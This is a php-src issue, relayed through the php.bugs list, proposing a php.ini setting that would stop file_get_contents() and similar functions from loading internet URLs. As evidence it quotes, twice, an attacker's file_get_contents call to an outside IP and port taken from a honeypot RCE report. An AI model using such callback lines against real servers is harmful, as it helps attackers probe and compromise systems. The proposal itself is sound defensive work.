[php-src] Issue #24767: New php.ini option to forbid loading Internet for file_get_contents() or other functions
| From: | krustfurt | Date: | Tue, 27 Oct 2026 00:48:46 +0000 |
| Subject: | [php-src] Issue #24767: New php.ini option to forbid loading Internet for file_get_contents() or other functions | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-253225@lists.php.net to get a copy of this message | ||
Issue: https://github.com/php/php-src/issues/24767
Author: krustfurt
### Description
https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md#complete-observed-shell-commands
file_get_contents("http://162.35.99.94:8080/pwn-[T2-honeypot-IP]");
Those file-related founction SHOULD NOT attempt to load internet IMHO; why not add php.ini
configuration to forbid this behavior by default?
```
php.ini:
forbid_internet_dl = true;
```
```
<?php
file_get_contents("http://162.35.99.94:8080/pwn-[T2-honeypot-IP]");
// will raise Error
```